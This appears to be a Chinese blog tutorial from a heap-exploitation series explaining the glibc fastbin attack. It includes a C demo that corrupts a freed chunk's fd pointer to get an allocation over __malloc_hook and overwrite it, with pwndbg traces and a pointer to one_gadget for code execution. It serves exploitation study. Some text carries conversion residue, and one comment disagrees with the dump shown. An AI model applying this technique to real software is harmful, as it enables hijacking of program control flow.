二進制安全之堆溢出(系列)—— fast bin attack

本文是二進制安全之堆溢出系列的第八章節,主要介紹fast bin attack。

原理

二進制安全之堆溢出(系列)—— fast bin attack

  • 從fastbin中分配堆塊的檢測機制
<code>if (__builtin_expect (victim_idx != idx, 0)) //檢查當前所屬idx的size和target的size是否匹配
malloc_printerr ("malloc(): memory corruption (fast)");
do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{
INTERNAL_SIZE_T sz = chunksize_nomask (p) & ~(PREV_INUSE | NON_MAIN_ARENA);

if (!chunk_is_mmapped (p))
{
assert (av == arena_for_chunk (p));
if (chunk_main_arena (p))
assert (av == &main_arena);
else
assert (av != &main_arena);
}
do_check_inuse_chunk (av, p);
do_check_inuse_chunk檢查previnuse是否為1

chunk_is_mmapped檢查是否是mmap位是否為1,當mmap為1的時候可以跳過此檢查/<code>

Demo

<code>#include <stdio.h>
#include <malloc.h>
#include <unistd.h>
#include <string.h>
int main(){
int size = 0x60;
char *p = malloc(size);
long __malloc_hook_addr = 0x7ffff7dd1b10;
printf("%p\\n",p);
sleep(0);
free(p);
sleep(0);
printf("%p\\n",p);
*(long*)p = __malloc_hook_addr - 0x23;
sleep(0);
char *q = malloc(size);

printf("%p\\n",q);
sleep(0);
char* r = malloc(size);
printf("%p\\n",r);
sleep(0);
strcpy(r,"aaajunkjunkjunkbbbbcccc"); ///cccc會替換__malloc_hook的內容
malloc(0);
sleep(0);
return 0;
}/<string.h>/<unistd.h>/<malloc.h>/<stdio.h>/<code>

__malloc_hook_addr – 0×23的原因

<code>pwndbg> x/20gz 0x7ffff7dd1b10-0x30
0x7ffff7dd1ae0 <_io_wide_data_0>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1af0 <_io_wide_data_0>: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
-----
__malloc_hook_addr - 0x23剛好到0x0000**7f**fff7dd0260
-----
pwndbg> x/20gz 0x7ffff7dd1b10-0x23
0x7ffff7dd1aed <_io_wide_data_0>: 0xfff7dd0260000000 0x000000000000007f
得到一個可以偽造size為0x7f的地址

這時把`0x7ffff7dd1aed作為target_addr,可以繞過之前fastbin的第一項檢測

然後將這塊地址分配出來,然後構造padding,覆蓋__malloc_hook的內容/<code>

0x7f的原因

<code>為了滿足fastbin分配的第一項size的檢查,一般選擇的是6號索引,即malloc(0×60) 


由於chunk_is_mmapped檢測的原因,不能用0×71。

0x7f作為內存中地址的高位,而libc的地址就是0x7f開始的,這為fastbin attack提供了便利。

unsorted bin attack可以在unlink的時候將main_arena的地址賦給bk,也可以方便的得到0x7f/<code>

調試

  • free p 之後的bins鏈和size位
<code>0x70: 0x602000 ◂— 0x0

0x602000:\t0x0000000000000000\t0x0000000000000071/<code>

寫入target - 0x23的地址

<code>0x602000:   0x0000000000000000  0x0000000000000071
0x602010: 0x00007ffff7dd1aed 0x0000000000000000

0x7ffff7dd1aed <_io_wide_data_0>: 0xfff7dd0260000000 0x000000000000007f
此時的bins鏈

0x70: 0x602000 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000

因為p已經被free,我們再修改它的fd,就會自動鏈接上target/<code>

malloc q 之後的bins鏈和heap

<code>0x602000 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x7ffff7dd1aed <_io_wide_data_0>,

bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x70: 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000

此時我們的目標chunk還在bins鏈中,需要再一次malloc出去。/<code>

malloc r之後的bins鏈和heap

<code>0x602000 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x7ffff7dd1aed <_io_wide_data_0>,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x70: 0xfff7a92e20000000

此時,0x7ffff7dd1aed這個堆塊已經被malloc出去了,即作為r的堆塊

此時,__malloc_hook的內容

pwndbg> x/20gz 0x00007ffff7dd1aed+0x23
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000/<code>

strcpy r之後__malloc_hook被覆蓋為”cccc”

<code>pwndbg> x/20gz 0x00007ffff7dd1aed+0x23  //精準填充
0x7ffff7dd1b10 <__malloc_hook>:\t0x0000000062626262\t0x0000000000000000
利用的時候將cccc,替換為onegadget的地址

one_gadget /lib/x86_64-linux-gnu/libc-2.23.so/<code>
二進制安全之堆溢出(系列)—— fast bin attack



分享到:


相關文章: